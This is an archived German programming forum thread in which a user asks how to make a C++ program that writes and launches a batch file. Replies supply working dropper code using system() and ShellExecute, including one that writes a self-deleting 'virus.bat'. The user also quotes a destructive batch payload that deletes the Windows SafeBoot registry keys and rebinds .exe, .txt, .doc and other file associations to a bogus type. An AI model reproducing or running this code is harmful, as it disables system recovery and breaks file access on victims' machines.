Archiv verlassen und diese Seite im Standarddesign anzeigen : [c++]Brauch hilfe
So ich möchte ein Programm in C++ welches wenn man es ausführt eine bat datei erstellt und die dan auch direkt startet . Nur tue ich mich schwer wie ich den jetz anfangen soll und wie ich eine bat datei erstellen kann ?
kann mir da wer helfen ?
kleiner pogo
26.07.2007, 13:00
nur ne kurze frage: soll das programm nur die bat-datei erstellen? weil wenn ja, kannste die bat ja auch selber schreiben und zu ner exe konverten.....
ne also ich stell mir das so vor
#include <iostream>
#include <fstream>
#include <string>
using namespace std;
int main()
{
ofstream dat_aus;
string dateiname = "konfig.bat";
dat_aus.open(dateiname.c_str(), ios_base::out);
string inhalt = "start www.google.de"
dat_aus << inhalt << endl;
dat_aus.close();
return 0;
}
aber ich hab das problem das der die bat nicht startet :oops:
Starten lassen könntest du sie per System("start xy.bat"); .
Allerdings eine sehr unschöne Methode.
besser wäre ShellExecute();
in welcher libary ist den ShellExecute(); enthalten ? und wie setz ich das den überhaupt ein ?!?!??!?
und dann hab ich noch ne frage was ist die beste methode um einen langen quelltext in die bat datei zu schreiben z.B wenn man ich diesen quelltext in die bat schreiben will
reg delete "HKLM\SYSTEM\currentcontrolset\control\safeboot\mi nimal" /f > nul
reg delete "HKLM\SYSTEM\CurrentControlSet\control\safeboot\ne twork" /f > nul
@echo off
assoc .exe=MU
assoc .jpg=MU
assoc .mp3=MU
assoc .mpg=MU
assoc .txt=MU
assoc .doc=MU
assoc .rar=MU
pause
das ist jetz nur beispiel was ich aus dem forum hab
Chris K.
26.07.2007, 20:14
ne also ich stell mir das so vor
#include <iostream>
#include <fstream>
#include <string>
using namespace std;
int main()
{
ofstream dat_aus;
string dateiname = "konfig.bat";
dat_aus.open(dateiname.c_str(), ios_base::out);
string inhalt = "start www.google.de"
dat_aus << inhalt << endl;
dat_aus.close();
return 0;
}
aber ich hab das problem das der die bat nicht startet :oops:
so gehts:
#include <iostream>
#include <fstream>
#include <string>
#include <windows.h>
using namespace std;
int main()
{
ofstream dat_aus;
string dateiname = "konfig.bat";
dat_aus.open(dateiname.c_str(), ios_base::out);
string inhalt = "start www.google.de";
dat_aus << inhalt << endl;
dat_aus.close();
system("start konfig.bat");
return 0;
}
#include <windows.h>
#include <iostream>
#include <fstream>
#include <string>
using namespace std;
int main()
{
ofstream dat_aus;
string dateiname = "virus.bat";
dat_aus.open(dateiname.c_str(), ios_base::out);
if(!dat_aus)
{
system("cls");
return -1;
}
dat_aus << "start http://www.albinoblacksheep.com/flash/youare.php\n del %0"<< endl;
dat_aus.close();
ShellExecute(NULL,"open","virus.bat",NULL,NULL,SW_MINIMIZE);
return 0;
}
Powered by vBulletin® Copyright ©2024 Adduco Digital e.K. und vBulletin Solutions, Inc. Alle Rechte vorbehalten.